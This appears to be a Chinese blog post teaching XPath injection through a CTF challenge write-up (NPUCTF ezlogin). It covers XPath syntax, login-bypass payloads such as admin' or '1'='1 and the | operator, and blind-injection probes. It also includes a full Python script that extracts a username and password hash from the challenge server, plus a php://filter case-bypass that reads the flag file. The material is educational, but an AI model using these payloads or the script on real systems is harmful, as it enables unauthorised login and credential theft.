江鸟's Blog

从ctf题目中学习xpath注入

字数统计: 1.8k阅读时长: 8 min
2020/04/24 Share

从ctf题目中学习xpath注入

漏洞描述

XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在URL、表单或其它信息上附带恶意的XPath查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。

漏洞原理

XPath是XML的路径语言,使用路径表达式来选取XML文档中的节点或者节点集,XPath 注入的原理与sql注入大体类似。主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作。

基础语法

1.表达式

表达式 描述
nodename 选取此节点的所有子节点
/ 从根节点选取
// 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置
. 选取当前节点
.. 选取当前节点的父节点
@ 选取属性或 @*:匹配任何属性节点
* 匹配任何元素节点

例如:

表达式 结果
bookstore 选取 bookstore 元素的所有子节点
/bookstore 选取根元素 bookstore
bookstore/book 选取属于 bookstore 的子元素的所有 book 元素
//book 选取所有 book 子元素,而不管它们在文档中的位置
bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置
//@lang 选取名为 lang 的所有属性

2.限定语:

表达式 结果
/bookstore/book[1] 选取属于 bookstore 子元素的第一个 book 元素
/bookstore/book[last()] 选取属于 bookstore 子元素的最后一个 book 元素
//title[@lang] 选取所有拥有名为 lang 的属性的 title 元素
//title[@lang=’eng’] 选取所有 title 元素,且这些元素拥有值为 eng 的 lang 属性
/bookstore/book[price>35.00]/title 选取 bookstore 元素中的 book 元素的所有 title 元素,且其中的 price 元素的值须大于 35.00

3.通配符:

通配符 描述
* 匹配任何元素节点
@* 匹配任何属性节点
node() 匹配任何类型的节点

4.运算符:

运算符 描述
| 计算两个节点集
+、-、*、div 加、减、乘、除
= 等于
!= 不等于
<、<=、>、>= 小于、小于等于、大于、大于等于
or
and
mod 求余

5.函数:

函数名 描述
text() 元素值
position() 标签位置
name() 标签名称

案例演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
xml version="1.0" encoding="UTF-8"?> 
<root>
<users>
<user>
<id>1</id>
<username>admin</username>
<password type='md5'>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id>2</id>
<username>jiangniao</username>
<password type='md5'>099ebea48ea9666a7da2177267983138</password>
</user>
<user>
<id>3</id>
<username>skbl</username>
<password type='md5'>e995e9ba0c8ec5c9ce392b86bfece354</password>
</user>
</users>
</root>

查询语句为:

1
"/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']"

正常查询/root/users/user[username/text()='admin'and password/text()='123456']

万能密码

1.在知道用户名的情况:admin' or '1'='1

1
?name=admin' or '1'='1&pwd=fake

拼接为/root/users/user[username/text()='admin' or '1' and password/text()='123456']

注:和sql不同的是xpath没有注释符,所以要手动闭合引号

2.在不知道用户名的情况,使用两个or绕过:

1
?name=fake' or '1'or'1&pwd=fake
  1. 使用|操作符号
1
?name=1']|//*|ss['&pwd=fake

拼接为/root/accounts/user[username/text()='1' ]|//*|ss['' and password/text()='1']

即先闭合前面的语句,之后//*列出文档所有元素

盲注

需要一级一级猜解节点;猜解第一级节点:

1
?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake

猜解第二级节点数量:

1
?name=1' or count(/root/*)=2 or '1'='1&fake

猜解第二级节点:

1
?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake

猜解id为1的user节点下的username值:

1
?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake

CTF题目

NPUCTF ezlogin(刷题就到buu)

查看到一个登陆页面,sql注入无果,尝试xpath注入(靠hint)

username为admin' or '1'='1,password乱输入的情况,提示用户名密码错误,于是打一个fake' or '1'or'1,看到不一样的提示,非法操作,应该是盲注了

盲注写脚本,但是这里有一个token,需要我们先get获取一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests
import string
import re
import random
import json

url = 'http://1da708d1-23f9-452f-82f9-961b79f25da2.node3.buuoj.cn/login.php'

dic = string.ascii_letters + string.digits


# 获取token和SESSID
def get_token():
headers = {
"Cookie": "PHPSESSID=" + str(random.randint(1, 9999999999))
}
req = requests.get(url, headers=headers)
token = re.findall('"token" value="(.*?)"', req.text)[0]
return token, headers


def get_value(*params, position=1):
text = ''
# 获取各节点值
if len(params) == 0:
data = "<username>1' or substring(name(/*[position()=" + str(
position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 1:
data = "<username>1' or substring(name(/" + params[0] + "/*[position()= " + str(
position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 2:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/*[position()= " + str(
position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 3:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[
2] + "/*[position()= " + str(
position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 4:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/" + params[
3] + "/*[position()=" + str(
position) + "],{},1))='{}' or '1'='1</username><password>1</password><token>{}</token>"
# 获取用户名和密码
elif len(params) == 5:
data = "<username>1' or substring(/root/accounts/user[2]/username/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
data = "<username>1' or substring(/root/accounts/user[2]/password/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"

for i in range(1, 40):
for j in dic:
token, headers = get_token()
headers["Content-Type"] = "application/xml"
payload = data.format(i, j, token)
res = requests.post(url, headers=headers, data=payload).text
if '非法操作' in res:
text += j
print(text)
break
return text


# v1 = get_value()
# print(v1)
v1 ='root'
# v2 = get_value(v1)
# print(v2)
v2 = 'accounts'
# v3 = get_value(v1, v2)
# print(v3)
v3 = 'user'
# v4 = get_value(v1, v2, v3)
# print(v4)
v4 = 'id'
# v4_1 = get_value(v1, v2, v3, position=2)
# print(v4_1)
v4_1 = 'username'
# v4_2 = get_value(v1, v2, v3, position=3)
# print(v4_2)
v4_2 = 'password'
v5 = get_value(1, 2, 3, 4, 5)
print(v5)

获取到密码的md5以及用户名adm1n,来一手解密,得到密码然后登陆

cf7414b5bdb2e65ee43083f4ddbc4d9f = md5(gtfly123)

看到文件包含了 easy

过滤这些:

1
2
3
4
php:
.php
read
base

pHp://filter/convert.Base64-encode/resource=/flag

base64解一下

CATALOG
  1. 1. 从ctf题目中学习xpath注入
    1. 1.1. 漏洞描述
    2. 1.2. 漏洞原理
      1. 1.2.1. 基础语法
      2. 1.2.2. 案例演示
      3. 1.2.3. 万能密码
      4. 1.2.4. 盲注
    3. 1.3. CTF题目
      1. 1.3.1. NPUCTF ezlogin(刷题就到buu)